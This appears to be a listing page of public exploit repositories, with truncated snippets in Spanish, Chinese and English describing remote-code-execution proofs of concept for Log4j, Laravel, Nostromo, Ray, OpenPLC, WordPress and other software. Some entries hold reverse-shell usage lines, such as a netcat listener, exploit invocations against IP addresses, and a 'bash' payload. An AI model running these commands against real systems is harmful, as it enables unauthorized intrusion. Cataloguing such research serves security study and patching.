CVE-2020-23934

CVE-2020-23934 Referencias 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...

CVE-2017-11882

CVE-2017-11882 El script original proviene de https://github.com/embedi/CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Investigación:...

Zero-day vulnerabilities are exploited in SonicWall’s SMA1000 appliance.

SonicWall has identified vulnerabilities in the SMA1000 Appliance. The SMA1000 Appliance contains two vulnerabilities. The first is a pre-authentication Server-Side Request Forgery SSRF vulnerability in the Work Place interface, which allows an unauthorized external attacker to perform unauthoriz...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 步骤 1. 编译 Log4jRCE.java 并将 .class 文件移动到 Web 服务器（例如：本地 PHP） 1. cd src/main/java 2. javac Log4jRCE.java 3. 将 .class 文件移动到 Web 服务器或本地启动一个 PHP，例如：php -S 127.0.0.1:8888 2. 启动 LDAP 服务器 1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git 2. cd marshalsec 3...

CVE-2024-32002-git-rce

CVE-2024-32002-git-rce...

cve-2025-55182-react2shell-analysis

CVE-2025-55182 — React2Shell Vulnerability Analysis Overview This project presents a technical analysis of CVE-2025-55182 React2Shell , a critical remote code execution vulnerability affecting React Server Components. The objective of this research was to understand the vulnerability, analyze its...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint This is exploit of CVE-2022-30190 on PowerPoint. Modify the suffix of the file to 'zip' and unzip the file, you can edit \ppt\slides\rels\slide1.xml.rels and replace to your vps ip:port like this, then compress them as the same way and change the suffix to 'ppsx'. The...

CVE-2021-21110

CVE-2021-21110 CVE-2021-21110 : Exploit de ejecución remota de código por inyección de plantillas en el lado del servidor de Tiki Wiki CMS GroupWare...

OHTS

OHTS CVE-2017-8759 | Vulnerabilidad de ejecución remota de código en .NET Framework 1. Introducción Existe una vulnerabilidad de ejecución remota de código cuando Microsoft .NET Framework procesa entradas no confiables. Un atacante que explotara con éxito esta vulnerabilidad en software que utili...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

EvilSunCheck

Comprobador de Vulnerabilidades EvilSun CVE-2020-14871 Este es un pequeño script en Python para detectar la vulnerabilidad "EvilSun" CVE-2020-14871 en sistemas Solaris. La vulnerabilidad es un desbordamiento de búfer en el Módulo de Autenticación Enchufable PAM pamunixauth al manejar la...

CVE-2020-11108-PoC

CVE-2020-11108-PoC En este repositorio hay dos PoCs. cve-2020-11108-rce.py te dará una shell como el usuario www-data. root-cve-2020-11108-rce.py te dará una shell y escalará privilegios a root. Nota: Esto es destructivo, ya que debemos sobrescribir teleporter.php. Para una explicación...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

Este repositorio no tiene un README...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 This is a exploit of CVE-2021-3205 a web vulnerability to command injection on search.php path, this exploit allows execute commands. Requirements optparse, signal, requests Usage root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash ...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Este es un exploit de CVE-2019-16278 para Nostromo 1.9.6 RCE. Este exploit permite RCE en la máquina víctima. Requisitos optparse socat sys Uso Puedes usar el exploit de la siguiente manera: root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80...

CVE-2021-31630

OpenPLC WebServer v3 - RCE Autenticado CVE-2021-31630 Este exploit está basado en el exploit de Exploit-DB hecho por Fellipe Oliveira. Primero, autenticarse Subir un archivo C malicioso Compilarlo Iniciar el PLC iniciar reverse shell Detener el PLC no es necesario ejecutarlo, la reverse shell ya ...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 ejecución remota de código en Moodle autenticado como profesor...

Log4j-_Vulnerability

La Web es vulnerable a CVE-2021-44228 Esta aplicación web es vulnerable a CVE-2021-44228, una falla de seguridad crítica en Apache Log4j 2 conocida como Log4Shell. Esta vulnerabilidad permite a atacantes no autenticados ejecutar código malicioso de forma remota simplemente enviando una entrada...

CVE-2023-6019

Inyección de comandos en Ray OS RCE no autorizado Uso: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 A Proof-of-Concept PoC exploit written in Python for CVE-2022-21661, which is a critical vulnerability in WordPress that allows an unauthenticated attacker to perform an object injection attack , which under certain conditions can lead to Remote Code Execution RCE. This...